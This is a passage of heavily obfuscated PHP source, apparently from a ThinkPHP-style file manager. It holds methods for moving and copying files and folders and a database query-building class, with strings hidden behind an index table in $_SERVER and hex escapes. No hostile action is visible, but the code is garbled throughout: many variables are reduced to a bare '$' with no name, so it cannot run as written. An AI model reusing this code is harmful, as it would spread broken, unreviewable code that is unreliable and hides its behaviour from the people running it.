= $this->field($)->where($)->select(); if (!$ň̠) { return; } $ň̠ = array_to_keyvalue($ň̠, $ː[193]); foreach ($ň̠ as $À) { $ = $À[$ː[192]]; $̡ = $À[$ː[193]]; if (!isset($this->_childrenListCache[$̡]) && $À[$ː[487]] == $ː[91]) { $this->_childrenListCache[$̡] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$̡] = $À; $this->_childrenItemCache[$̡] = $À; } } private function _childrenListAll($, &$˓) { $ǖ =& $_SERVER[ձК]; if (!isset($this->_childrenListCache[$])) { return; } $ж = $this->_childrenListCache[$]; foreach ($ж as $ => $) { $˓[$] = $; if ($[$ǖ[487]] == $ǖ[91]) { $this->_childrenListAll($, $˓); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($ଓ) { if (isset($this->_childrenListCache[$ଓ])) { return $this->_childrenListCache[$ଓ]; } return $this->_childrenListSelect($ଓ); } private function _childrenListSelect($˚۲) { $ =& $_SERVER[ձК]; $ª = array($[192] => $˚۲, $[507] => $this->targetIsDelete); $ = $this->where($ª)->select(); $ = $ ? $ : array(); $謔 = array_to_keyvalue($, $[193]); $this->_childrenListCache[$˚۲] = $謔; foreach ($謔 as $˚۲ => $䙹) { $this->_childrenItemCache[$˚۲] = $䙹; } return $謔; } private function fileNameExistAuto($, $巗) { $ڡ =& $_SERVER[ձК]; if ($巗[$ڡ[507]] == $ڡ[91]) { return $this->fileNameExist($, $巗[$ڡ[32]]); } return $this->fileNameExistCache($, $巗[$ڡ[32]]); } private function fileNameExistCache($, $Է) { $ʡ =& $_SERVER[ձК]; $Է = strtolower($Է); $҅ = $this->_childrenList($); foreach ($҅ as $ݮ) { if ($Է == strtolower($ݮ[$ʡ[32]])) { return $ݮ[$ʡ[193]]; } } return !1; } private function fileNameAutoCache($ɐ, $ߚń, $, $싪) { $ =& $_SERVER[ձК]; $ = $this->_childrenList($ɐ); $ֵ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($ֵ, $ߚń, $, $싪); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $ʅآ, $뾶 = REPEAT_REPLACE, $ׅҐ = '') { $ =& $_SERVER[ձК]; $ = $this->sourceInfo($); $쨷 = $this->sourceInfo($ʅآ); if ($[$[192]] == $쨷[$[193]]) { if ($[$[507]] == $[91]) { Model($[505])->restore(array($)); } if (!$ׅҐ || $ׅҐ == $[$[32]]) { return $; } } $ = $this->pathInfoMore($); if ($this->isParentOf($, $ʅآ)) { return !1; } if (!$ || !$쨷 || $쨷[$[487]] != $[91]) { return !1; } Hook::trigger($[663], $); $this->targetIsDelete = intval($[$[507]]); if ($[$[192]] == $ʅآ && $ׅҐ != $[$[32]]) { $ŭ = $this->fileNameExist($ʅآ, $ׅҐ); if ($ŭ && $[$[487]] == $[230]) { $ = $this->sourceInfo($ŭ); $ڌ = $this->fileHistory($, $[$[543]], $[$[79]]); if (!$ڌ) { Model($[546])->remove($[$[543]]); } $this->removeNow($, !1); $this->folderSizeReset($ʅآ); Hook::trigger($[664], $); return $ŭ; } } $ = $ׅҐ ? $ׅҐ : $[$[32]]; $this->lockMoveStart($); $this->lockWriteStart($ʅآ, $); $ݺ = array($[634] => array(), $[665] => !1); $this->clearShare($, $ʅآ); $㟷 = $this->fileNameExistAuto($ʅآ, $); $ = $this->_move($, $ʅآ, $뾶, $ݺ, $ׅҐ); $this->sourceCacheClear(); if ($[$[487]] == $[91] && $㟷) { $this->folderSizeResetChildren($); } Model($[232])->linkAdd($ݺ[$[634]]); if ($ && $㟷 && $ݺ[$[665]]) { $ = $[$[487]] == $[91] ? $this->_childrenListSelect($) : !1; $濲 = $ && count($) > 0 ? !0 : !1; $this->removeNow($, $濲); } $this->lockMoveEnd($); $this->lockWriteEnd($ʅآ, $); $this->folderSizeReset($[$[192]]); $this->folderSizeReset($ʅآ); $̴ѫ = array($[$[192]], $ʅآ); if ($[$[487]] == $[91]) { $̴ѫ[] = $; } $this->updateModifyTime($̴ѫ); Model($[638])->eventMove($, $[$[192]], $ʅآ); Hook::trigger($[664], $); return $; } private function _move($ڳ, $˓, $, &$Χ, $ٟ = '') { $ɸ錃 =& $_SERVER[ձК]; $ښ = $this->sourceInfo($ڳ); $ = $ښ[$ɸ錃[487]] == $ɸ錃[91]; $ = $ٟ ? $ٟ : $ښ[$ɸ錃[32]]; $ = $this->fileNameExistAuto($˓, $ښ); $this->lockMoveStart($ڳ); $this->lockWriteStart($˓, $); if (!$) { return $this->_moveForce($ڳ, $˓, $); } $ۅϋ = $; $ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($˓, $, $, $); $ۅϋ = $this->_moveForce($ڳ, $˓, $); } else { $ےӐ = $this->_childrenListSelect($ڳ); foreach ($ےӐ as $) { $Ƨ = REPEAT_REPLACE; $this->_move($[$ɸ錃[193]], $, $Ƨ, $Χ); } $ = !0; } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($˓, $, $, $); $ۅϋ = $this->_moveForce($ڳ, $˓, $); } else { $Ȑ = $this->sourceInfoCache($); $ = $this->fileHistory($Ȑ, $ښ[$ɸ錃[543]], $ښ[$ɸ錃[79]]); if ($) { $Χ[$ɸ錃[634]][] = $ښ[$ɸ錃[543]]; } $ = !0; } } if ($) { $Χ[$ɸ錃[665]] = !0; } return $ۅϋ; } private function _moveForce($Ō, $ۅ, $훿Ñ) { $ʰś =& $_SERVER[ձК]; $ = $this->sourceInfo($Ō); $ = $this->sourceInfo($ۅ); $ = $[$ʰś[487]] == $ʰś[91]; $ȕ = array($ʰś[479] => $[$ʰś[193]], $ʰś[657] => $[$ʰś[586]] . $[$ʰś[193]] . $ʰś[50], $ʰś[653] => $[$ʰś[190]], $ʰś[654] => $[$ʰś[571]], $ʰś[656] => USER_ID, $ʰś[496] => $훿Ñ); $̎ = $[$ʰś[190]] == SourceModel::TYPE_GROUP && $[$ʰś[190]] == SourceModel::TYPE_GROUP && $[$ʰś[571]] == $[$ʰś[571]]; if (!$̎ && $this->moveClearAuth) { Model($ʰś[569])->authClear($Ō); } $ = $[$ʰś[507]] == $ʰś[91] && $[$ʰś[507]] != $ʰś[91]; if ($) { $ȕ[$ʰś[506]] = 0; } if ($) { $Ǚ = array($ʰś[657] => array($ʰś[617], $[$ʰś[586]] . $[$ʰś[193]] . $ʰś[618])); $ = $[$ʰś[586]] . $[$ʰś[193]] . $ʰś[50]; $Њ = $[$ʰś[586]] . $[$ʰś[193]] . $ʰś[50] . $[$ʰś[193]] . $ʰś[50]; $Ā = array($ʰś[657] => array($ʰś[666], "\x72\x65\160\154\x61\143\x65\x28\160\141\x72\145\156\164\114\x65\166\x65\154\x2c\x27{$}\x27\x2c\47{$Њ}\47\51"), $ʰś[653] => $[$ʰś[190]], $ʰś[654] => $[$ʰś[571]]); if ($) { $Ā[$ʰś[506]] = 0; } $this->where($Ǚ)->data($Ā)->save(); } $this->where(array($ʰś[493] => $Ō))->data($ȕ)->save(); return $Ō; } private function clearShare($픢, $٘́) { $֟ =& $_SERVER[ձК]; $ = $this->sourceInfo($픢); $ = $this->sourceInfo($٘́); if ($[$֟[571]] == $[$֟[571]] && $[$֟[190]] == $֟[667]) { return; } $ɚ = array($֟[586] => array($֟[617], $[$֟[586]] . $픢 . $֟[618])); $Ƈퟐ = $this->field($֟[493])->where($ɚ)->getField($֟[193], !0); if (!$Ƈퟐ) { return; } $ɚ = array($֟[193] => array($֟[7], $Ƈퟐ), $֟[668] => 1); $焜 = Model($֟[669])->field($֟[670])->where($ɚ)->select(); if (!$焜) { return; } $焜 = array_to_keyvalue($焜, $֟[12], $֟[670]); $ɚ = array($֟[670] => array($֟[7], $焜)); Model($֟[669])->where($ɚ)->save(array($֟[668] => 0)); Model($֟[671])->where($ɚ)->delete(); } public function copyFolderFromIO($ѱ, $, $ޓ, $, $Ӹ, $ɮ뒕 = false) { $ =& $_SERVER[ձК]; $ = array($[635] => array(), $[636] => array(), $[634] => array(), $[672] => array()); $탔 = $ɮ뒕 ? $ɮ뒕 : $ѱ->pathThis($); $ = $this->fileNameExist($ޓ, $탔); $ = $this->mkdir($ޓ, $탔, $); if (!$ || $ == REPEAT_RENAME_FOLDER) { $ = !1; } if ($) { $this->_childrenAllMake($); } Hook::trigger($[673]); $this->_copyChildTo($ѱ, $, $, $, $, $Ӹ); Hook::trigger($[674]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($[637])->addAll($[$[635]], array(), !0); Model($[638])->eventCopy($); $this->saveAll($[$[636]]); Model($[546])->linkAdd($[$[634]]); Model($[546])->remove($[$[672]]); $this->folderSizeReset($ޓ); $this->updateModifyTime($ޓ); return $; } private function _copyChildTo($, $, $ҙ, $Չ, &$ٚ, $翣) { $Ӏ =& $_SERVER[ձК]; $ڂ = $this->sourceInfoCache($ҙ); $ = $->listPath($); $ = $ ? $ : array($Ӏ[86] => array(), $Ӏ[85] => array()); $¬ = array_merge($[$Ӏ[86]], $[$Ӏ[85]]); $ = $this->_addFiles($, $[$Ӏ[86]], $翣); $ = array(); foreach ($¬ as &$ҵϲ) { if (isset($[$ҵϲ[$Ӏ[32]]])) { $ҵϲ = $[$ҵϲ[$Ӏ[32]]]; } $ҵϲ[$Ӏ[487]] = $ҵϲ[$Ӏ[33]] == $Ӏ[78]; $ҵϲ[$Ӏ[488]] = substr(_get($ҵϲ, $Ӏ[169], $Ӏ[12]), 0, 10); $ҵϲ[$Ӏ[79]] = _get($ҵϲ, $Ӏ[79], 0); $ҵϲ[$Ӏ[543]] = _get($ҵϲ, $Ӏ[543], 0); if (!isset($ҵϲ[$Ӏ[675]]) && $ҵϲ[$Ӏ[543]]) { $ٚ[$Ӏ[672]][] = $ҵϲ[$Ӏ[543]]; } if ($Չ) { $ = $this->fileNameExistCache($ҙ, $ҵϲ[$Ӏ[32]]); if ($) { if ($ҵϲ[$Ӏ[487]] || $Չ == REPEAT_SKIP) { continue; } if ($Չ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ = $this->fileHistory($, $ҵϲ[$Ӏ[543]], $ҵϲ[$Ӏ[79]]); if ($) { $ٚ[$Ӏ[634]][] = $ҵϲ[$Ӏ[543]]; } continue; } else { if ($Չ == REPEAT_RENAME) { $ҵϲ[$Ӏ[32]] = $this->fileNameAutoCache($ҙ, $ҵϲ[$Ӏ[32]], $Չ, !1); } } } } if (!$ҵϲ[$Ӏ[487]] && $ҵϲ[$Ӏ[543]] == 0) { continue; } if (!$ҵϲ[$Ӏ[487]] && $ҵϲ[$Ӏ[543]]) { $ٚ[$Ӏ[634]][] = $ҵϲ[$Ӏ[543]]; } $[] = $this->_makeItemData($ҵϲ, $ڂ, $ҵϲ[$Ӏ[32]]); } unset($ҵϲ); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($ҙ); } $㑮 = $this->_childrenList($ҙ); $㑮 = array_to_keyvalue($㑮, $Ӏ[32]); foreach ($¬ as $ҵϲ) { $ = $㑮[$ҵϲ[$Ӏ[32]]]; $Ū = $[$Ӏ[193]]; $this->_copyApplyMeta($, $ٚ); if ($ҵϲ[$Ӏ[33]] == $Ӏ[78]) { $ҵϲ[$Ӏ[87]] = $->getPathInner($ҵϲ[$Ӏ[87]]); $this->_copyChildTo($, $ҵϲ[$Ӏ[87]], $Ū, $Չ, $ٚ, $翣); } } } private function _addFiles($ӫ, $, $њ) { $ =& $_SERVER[ձК]; if (!$ || count($) == 0) { return array(); } $ = array(); foreach ($ as &$ߔׯ) { Hook::trigger($[676], $ߔׯ); $ߔׯ[$[87]] = $ӫ->getPathInner($ߔׯ[$[87]]); $ĥӝ = $ӫ->hashSimple($ߔׯ[$[87]]); $˟ = $ӫ->hashMd5($ߔׯ[$[87]]); if (strlen($˟) > 10 && !isset($[$˟])) { $[$˟] = array(); } $ߔׯ[$[677]] = $ĥӝ; $ߔׯ[$[549]] = $˟; $[$˟][] =& $ߔׯ; if (count($[$˟]) > 1) { $ߔׯ[$[675]] = !0; } Hook::trigger($[678], $ߔׯ); } unset($ߔׯ); $εۨ = array($[549] => array($[7], array_keys($))); $ = Model($[679]); $ = $->where($εۨ)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[549]]])) { continue; } $ս = $[$[$[549]]]; foreach ($ս as &$ߔׯ) { $ߔׯ[$[543]] = $[$[543]]; $ߔׯ[$[675]] = !0; } unset($ߔׯ); } $ = array(); foreach ($ as $Ņ) { Hook::trigger($[680], $Ņ); if (isset($Ņ[$[675]]) && $Ņ[$[675]]) { Hook::trigger($[681], $Ņ); continue; } $ = $ӫ->getPathInner($Ņ[$[87]]); $ӗ = $->addFileMake($, $Ņ[$[79]], $Ņ[$[677]], $Ņ[$[549]], $Ņ[$[32]], $њ); Hook::trigger($[681], $Ņ); if (!is_array($ӗ)) { continue; } $[] = $ӗ; } $->addAll($); $εۨ = array($[549] => array($[7], array_keys($))); $ = $->where($εۨ)->select(); $ = $ ? $ : array(); foreach ($ as $) { if (!isset($[$[$[549]]])) { continue; } $৹ =& $[$[$[549]]]; foreach ($৹ as &$ߔׯ) { $ߔׯ[$[543]] = $[$[543]]; } unset($ߔׯ); } $ = array(); foreach ($ as $
) { $[$
[$[32]]] = $
; } return $; } } define($_SERVER[ձК][682], $_SERVER[ձК][683]); $saqjntdmhu = $_SERVER[ձК][684]; goto c; b³: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\x74\150\151\156\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\161" => "\x3d", "\156\x65\x71" => "\74\x3e", "\x67\x74" => "\76", "\145\147\164" => "\76\75", "\154\x74" => "\x3c", "\x65\154\x74" => "\74\75", "\156\x6f\164\x6c\151\153\x65" => "\116\117\124\x20\x4c\x49\113\105", "\x6c\x69\153\145" => "\114\111\113\x45", "\x69\x6e" => "\111\116", "\x6e\157\164\151\x6e" => "\116\x4f\124\x20\111\x4e", "\x6e\x6f\164\x20\151\x6e" => "\116\x4f\124\x20\x49\116", "\142\x65\x74\167\145\x65\156" => "\x42\x45\x54\x57\105\x45\116", "\156\x6f\164\x62\145\x74\167\145\x65\156" => "\x4e\x4f\x54\40\102\x45\124\x57\x45\105\x4e", "\156\x6f\x74\x20\x62\145\164\167\x65\145\x6e" => "\x4e\117\x54\x20\102\105\x54\x57\105\105\116"); protected $selectSql = "\x53\x45\114\x45\x43\124\45\104\x49\123\x54\x49\x4e\103\124\45\40\x25\x46\111\105\x4c\x44\45\40\106\x52\117\115\40\45\x54\x41\x42\114\x45\x25\x25\x4a\x4f\111\x4e\45\x25\127\x48\105\x52\105\45\45\107\122\x4f\x55\120\45\45\110\101\x56\111\x4e\x47\x25\x25\x4f\x52\x44\105\x52\x25\45\114\x49\115\111\x54\45\x20\45\125\116\111\117\116\x25\x25\x43\x4f\115\115\x45\x4e\124\x25"; protected $bind = array(); public static function getInstance() { $³ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ձК][1039], $³); } public function factory($ = '') { $ѥ =& $_SERVER[ձК]; $ = $this->parseConfig($); if (empty($[$ѥ[1040]])) { think_exception(think_lang($ѥ[1041])); } $this->dbType = ucwords(strtolower($[$ѥ[1040]])); $̩ = $ѥ[1042] . $this->dbType; if (class_exists($̩)) { $ = new $̩($); if ($ѥ[1043] != strtolower($[$ѥ[1040]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($[$ѥ[995]]); } } else { think_exception(think_lang($ѥ[1044]) . $ѥ[1045] . $̩); } return $; } public function __call($Ւ, $ٮ) { if (method_exists($this, $Ւ)) { return call_user_func_array(array($this, $Ւ), $ٮ); } } protected function _getDsnType($ۮϠ) { $ = explode($_SERVER[ձК][4], $ۮϠ); $ = strtoupper(trim($[0])); return $; } private function parseConfig($ݰ = '') { $ц =& $_SERVER[ձК]; if (!empty($ݰ) && is_string($ݰ)) { $ݰ = $this->parseDSN($ݰ); } elseif (is_array($ݰ)) { $ݰ = array_change_key_case($ݰ); $ݰ = array($ц[1040] => $ݰ[$ц[1046]], $ц[967] => $ݰ[$ц[1047]], $ц[968] => $ݰ[$ц[1048]], $ц[965] => $ݰ[$ц[1049]], $ц[966] => $ݰ[$ц[1050]], $ц[21] => $ݰ[$ц[1051]], $ц[995] => $ݰ[$ц[1052]], $ц[17] => isset($ݰ[$ц[1053]]) ? $ݰ[$ц[1053]] : array()); } elseif (empty($ݰ)) { if (think_config($ц[1054]) && $ц[1043] != strtolower(think_config($ц[1055]))) { $ݰ = $this->parseDSN(think_config($ц[1054])); } else { $ݰ = array($ц[1040] => think_config($ц[1055]), $ц[967] => think_config($ц[1056]), $ц[968] => think_config($ц[1057]), $ц[965] => think_config($ц[1058]), $ц[966] => think_config($ц[1059]), $ц[21] => think_config($ц[325]), $ц[995] => think_config($ц[1054]), $ц[17] => think_config($ц[1060])); } } return $ݰ; } protected function initConnect($˼ = true) { if (1 == think_config($_SERVER[ձК][22])) { $this->_linkID = $this->multiConnect($˼); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ݝ => $) { $this->_linkID = $; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($؎ = false) { $ =& $_SERVER[ձК]; static $͡ = array(); static $˘ = -1; if (empty($͡)) { foreach ($this->config as $ο => $) { $͡[$ο] = explode($[50], $); } } if (think_config($[1061])) { if ($؎ || think_config($[473]) === !0) { $ٓ = floor(mt_rand(0, think_config($[1062]) - 1)); $˘ = $ٓ; } else { if (is_numeric(think_config($[1063]))) { $ٓ = think_config($[1063]); } else { $ٓ = floor(mt_rand(think_config($[1062]), count($͡[$[965]]) - 1)); } } } else { $ٓ = floor(mt_rand(0, count($͡[$[965]]) - 1)); $˘ = $ٓ; } $ٓ = $˘ !== -1 ? $˘ : $ٓ; $ = array($[967] => isset($͡[$[967]][$ٓ]) ? $͡[$[967]][$ٓ] : $͡[$[967]][0], $[968] => isset($͡[$[968]][$ٓ]) ? $͡[$[968]][$ٓ] : $͡[$[968]][0], $[965] => isset($͡[$[965]][$ٓ]) ? $͡[$[965]][$ٓ] : $͡[$[965]][0], $[966] => isset($͡[$[966]][$ٓ]) ? $͡[$[966]][$ٓ] : $͡[$[966]][0], $[21] => isset($͡[$[21]][$ٓ]) ? $͡[$[21]][$ٓ] : $͡[$[21]][0], $[995] => isset($͡[$[995]][$ٓ]) ? $͡[$[995]][$ٓ] : $͡[$[995]][0], $[17] => isset($͡[$[17]][$ٓ]) ? $͡[$[17]][$ٓ] : $͡[$[17]][0]); return $this->connect($, $ٓ); } public function parseDSN($) { $њ =& $_SERVER[ձК]; if (empty($)) { return !1; } $ = parse_url($); if ($[$њ[207]]) { $ڛ㵚 = array($њ[1040] => $[$њ[207]], $њ[967] => isset($[$њ[667]]) ? $[$њ[667]] : $њ[12], $њ[968] => isset($[$њ[1064]]) ? $[$њ[1064]] : $њ[12], $њ[965] => isset($[$њ[208]]) ? $[$њ[208]] : $њ[12], $њ[966] => isset($[$њ[209]]) ? $[$њ[209]] : $њ[12], $њ[21] => isset($[$њ[87]]) ? substr($[$њ[87]], 1) : $њ[12]); } else { preg_match($њ[1065], trim($), $); $ڛ㵚 = array($њ[1040] => $[1], $њ[967] => $[2], $њ[968] => $[3], $њ[965] => $[4], $њ[966] => $[5], $њ[21] => $[6]); } $ڛ㵚[$њ[995]] = $њ[12]; return $ڛ㵚; } protected function debug() { $ =& $_SERVER[ձК]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1066]; if (think_config($[1067])) { think_status($[1068]); think_trace($this->queryStr . $[1069] . think_status($[24], $[1068], 6) . $[1070], $[12], $[1071]); } } protected function parseLock($׆ = false) { $届 =& $_SERVER[ձК]; if (!$׆) { return $届[12]; } if ($届[997] == $this->dbType) { return $届[1072]; } return $届[1073]; } protected function parseSet($ᡂ) { $ =& $_SERVER[ձК]; foreach ($ᡂ as $ => $銛ٚ) { if (is_array($銛ٚ) && $[374] == $銛ٚ[0]) { $͙[] = $this->parseKey($) . $[508] . $銛ٚ[1]; } elseif (is_scalar($銛ٚ) || is_null($銛ٚ)) { $͙[] = $this->parseKey($) . $[508] . $this->parseValue($銛ٚ); } } return $[1074] . implode($[50], $͙); } protected function bindParam($蜃, $) { $this->bind[$_SERVER[ձК][4] . $蜃] = $; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$Ө, $ԋ = true) { if ($ԋ) { $Ө = $this->parseKeyCheck($Ө); } return $Ө; } function parseKeyCheck($) { $ =& $_SERVER[ձК]; $ = trim($); if (!preg_match($[1075], $)) { think_exception($[1076] . $); } return $; } protected function parseValue($) { $ =& $_SERVER[ձК]; if (is_string($)) { $ = $[1036] . $this->escapeString($) . $[1036]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[374]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1037]), $); } elseif (is_bool($)) { $ = $ ? $[91] : $[230]; } elseif (is_null($)) { $ = $[106]; } return $; } protected function parseField($䡦߬) { $Ϩ =& $_SERVER[ձК]; if (is_string($䡦߬) && strpos($䡦߬, $Ϩ[50])) { $䡦߬ = explode($Ϩ[50], $䡦߬); } if (is_array($䡦߬)) { $ = array(); foreach ($䡦߬ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($, !1) . $Ϩ[1077] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ۘ = implode($Ϩ[50], $); } elseif (is_string($䡦߬) && !empty($䡦߬)) { $ۘ = $䡦߬; } else { $ۘ = $Ϩ[222]; } return $ۘ; } protected function parseTable($߽) { $贔 =& $_SERVER[ձК]; if (is_array($߽)) { $뽊 = array(); foreach ($߽ as $ => $ѭ) { if (!is_numeric($)) { $뽊[] = $this->parseKey($) . $贔[53] . $this->parseKey($ѭ); } else { $뽊[] = $this->parseKey($); } } $߽ = $뽊; } elseif (is_string($߽)) { if (strstr($߽, $贔[53])) { return $߽; } $߽ = explode($贔[50], $߽); array_walk($߽, array($this, $贔[985])); } return $贔[979] . trim(implode($贔[1078], $߽), $贔[463]) . $贔[979]; } protected function parseWhere($߂) { $ˁ =& $_SERVER[ձК]; $ɋ = $ˁ[12]; if (is_string($߂)) { $ɋ = $߂; } else { $NJ = isset($߂[$ˁ[1079]]) ? strtoupper($߂[$ˁ[1079]]) : $ˁ[12]; if (in_array($NJ, array($ˁ[1080], $ˁ[1081], $ˁ[1082]))) { $NJ = $ˁ[53] . $NJ . $ˁ[53]; unset($߂[$ˁ[1079]]); } else { $NJ = $ˁ[1083]; } foreach ($߂ as $훧 => $) { $ɋ .= $ˁ[356]; if (is_numeric($훧)) { $훧 = $ˁ[1084]; } if (0 === strpos($훧, $ˁ[11])) { $ɋ .= $this->parseThinkWhere($훧, $); } else { if (!preg_match($ˁ[1085], trim($훧))) { think_exception(think_lang($ˁ[1086]) . $ˁ[4] . $훧); } $蠖ʎ = is_array($) && isset($[$ˁ[1087]]); $훧 = trim($훧); if (strpos($훧, $ˁ[214])) { $ = explode($ˁ[214], $훧); $晃 = array(); foreach ($ as $Ȣ => $ٹ) { $ǰ = $蠖ʎ ? $[$Ȣ] : $; $晃[] = $ˁ[339] . $this->parseWhereItem($this->parseKey($ٹ), $ǰ) . $ˁ[984]; } $ɋ .= implode($ˁ[1088], $晃); } elseif (strpos($훧, $ˁ[286])) { $ = explode($ˁ[286], $훧); $晃 = array(); foreach ($ as $Ȣ => $ٹ) { $ǰ = $蠖ʎ ? $[$Ȣ] : $; $晃[] = $ˁ[339] . $this->parseWhereItem($this->parseKey($ٹ), $ǰ) . $ˁ[984]; } $ɋ .= implode($ˁ[1083], $晃); } else { $ɋ .= $this->parseWhereItem($this->parseKey($훧), $); } } $ɋ .= $ˁ[357] . $NJ; } $ɋ = substr($ɋ, 0, -strlen($NJ)); } return empty($ɋ) ? $ˁ[12] : $ˁ[1089] . $ɋ; } protected function parseWhereItem($݉ߤ, $) { $ =& $_SERVER[ձК]; $ = $[12]; if (is_array($)) { if (is_string($[0])) { $ӿ = strtolower($[0]); if (in_array($[0], array($[508], $[1090], $[1091], $[1092], $[1093], $[1094]))) { $ .= $݉ߤ . $[53] . $[0] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1095], $[0])) { $ .= $݉ߤ . $[53] . $this->exp[$ӿ] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1096], $[0])) { if (is_array($[1])) { $٣ = isset($[2]) ? strtoupper($[2]) : $[1081]; if (in_array($٣, array($[1080], $[1081], $[1082]))) { $ = array(); foreach ($[1] as $輕) { $[] = $݉ߤ . $[53] . $this->exp[$ӿ] . $[53] . $this->parseValue($輕); } $ .= $[339] . implode($[53] . $٣ . $[53], $) . $[984]; } } else { $ .= $݉ߤ . $[53] . $this->exp[$ӿ] . $[53] . $this->parseValue($[1]); } } elseif ($[374] == $ӿ) { $ .= $[982] . $݉ߤ . $[53] . $[1] . $[1097]; } elseif (preg_match($[1098], $[0])) { $ .= $[0]; } elseif (preg_match($[1099], $[0])) { if (isset($[2]) && $[374] == $[2]) { $ .= $݉ߤ . $[53] . $this->exp[$ӿ] . $[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($[50], $[1]); } $Ԕ = implode($[50], $this->parseValue($[1])); $ .= $݉ߤ . $[53] . $this->exp[$ӿ] . $[982] . $Ԕ . $[984]; } } elseif (preg_match($[1100], $[0])) { $۞ = is_string($[1]) ? explode($[50], $[1]) : $[1]; $ .= $[982] . $݉ߤ . $[53] . $this->exp[$ӿ] . $[53] . $this->parseValue($۞[0]) . $[1083] . $this->parseValue($۞[1]) . $[357]; } else { think_exception(think_lang($[1086]) . $[4] . $[0]); } } else { $ص = count($); $ = $[12]; if (is_string($[$ص - 1])) { $ = isset($[$ص - 1]) ? strtoupper($[$ص - 1]) : $[12]; if (in_array($, array($[1080], $[1081], $[1082]))) { $ص = $ص - 1; } } else { $ = $[1080]; } for ($ = 0; $ < $ص; $++) { $۞ = is_array($[$]) ? $[$][1] : $[$]; if ($[374] == strtolower($[$][0])) { $ .= $[339] . $݉ߤ . $[53] . $۞ . $[1097] . $ . $[53]; } else { $ܹҥ = is_array($[$]) ? $this->exp[strtolower($[$][0])] : $[508]; if (!$ܹҥ && is_array($[$]) && in_array($[$][0], array($[508], $[1090], $[1091], $[1092], $[1093], $[1094]))) { $ܹҥ = $[$][0]; } $ .= $[339] . $݉ߤ . $[53] . $ܹҥ . $[53] . $this->parseValue($۞) . $[1097] . $ . $[53]; } } $ = substr($, 0, -4); } } else { $ .= $݉ߤ . $[1101] . $this->parseValue($); } return $; } protected function parseThinkWhere($ᙍ, $) { $Ç =& $_SERVER[ձК]; $ԑ = $Ç[12]; switch ($ᙍ) { case $Ç[429]: $ԑ = $; break; case $Ç[1084]: $ԑ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $Ç[1102]: parse_str($, $); if (isset($[$Ç[1079]])) { $˧ʍ = $Ç[53] . strtoupper($[$Ç[1079]]) . $Ç[53]; unset($[$Ç[1079]]); } else { $˧ʍ = $Ç[1083]; } $礈 = array(); foreach ($ as $ => $) { $礈[] = $this->parseKey($) . $Ç[1101] . $this->parseValue($); } $ԑ = implode($˧ʍ, $礈); break; } return $ԑ; } protected function parseLimit($) { $̑ =& $_SERVER[ձК]; return !empty($) ? $̑[51] . $ . $̑[53] : $̑[12]; } protected function parseJoin($ݜ) { $ =& $_SERVER[ձК]; $ = $[12]; if (!empty($ݜ)) { if (is_array($ݜ)) { foreach ($ݜ as $ܒ => $ˋ) { if (!1 !== stripos($ˋ, $[1103])) { $ .= $[53] . $ˋ; } else { $ .= $[1104] . $ˋ; } } } else { $ .= $[1104] . $ݜ; } } $ = preg_replace($[1105], think_config($[1009]) . $[1106], $); return $; } protected function parseOrder($) { $ۨ =& $_SERVER[ձК]; if (is_array($)) { $ӹ = array(); foreach ($ as $ʥ => $ډ) { if (is_numeric($ʥ)) { $ӹ[] = $this->parseKey($ډ); } else { $ډ = in_array(strtoupper(trim($ډ)), array($ۨ[1107], $ۨ[1108])) ? $ۨ[53] . $ډ : $ۨ[12]; if (preg_match($ۨ[1109], $ʥ)) { $ӹ[] = $this->parseKey($ʥ) . $ډ; } else { think_exception($ۨ[1110] . $ʥ); } } } $ = implode($ۨ[50], $ӹ); } return !empty($) ? $ۨ[1111] . $ : $ۨ[12]; } protected function parseGroup($֡) { $Ȏ =& $_SERVER[ձК]; return !empty($֡) ? $Ȏ[1112] . $֡ : $Ȏ[12]; } protected function parseHaving($諈) { $ =& $_SERVER[ձК]; return !empty($諈) ? $[1113] . $諈 : $[12]; } protected function parseComment($捖) { $Ͱ騧 =& $_SERVER[ձК]; return !empty($捖) ? $Ͱ騧[1114] . $捖 . $Ͱ騧[1115] : $Ͱ騧[12]; } protected function parseDistinct($騳) { $ =& $_SERVER[ձК]; return !empty($騳) ? $[1116] : $[12]; } protected function parseUnion($ޟ) { $Ɯ¬ =& $_SERVER[ձК]; if (empty($ޟ)) { return $Ɯ¬[12]; } if 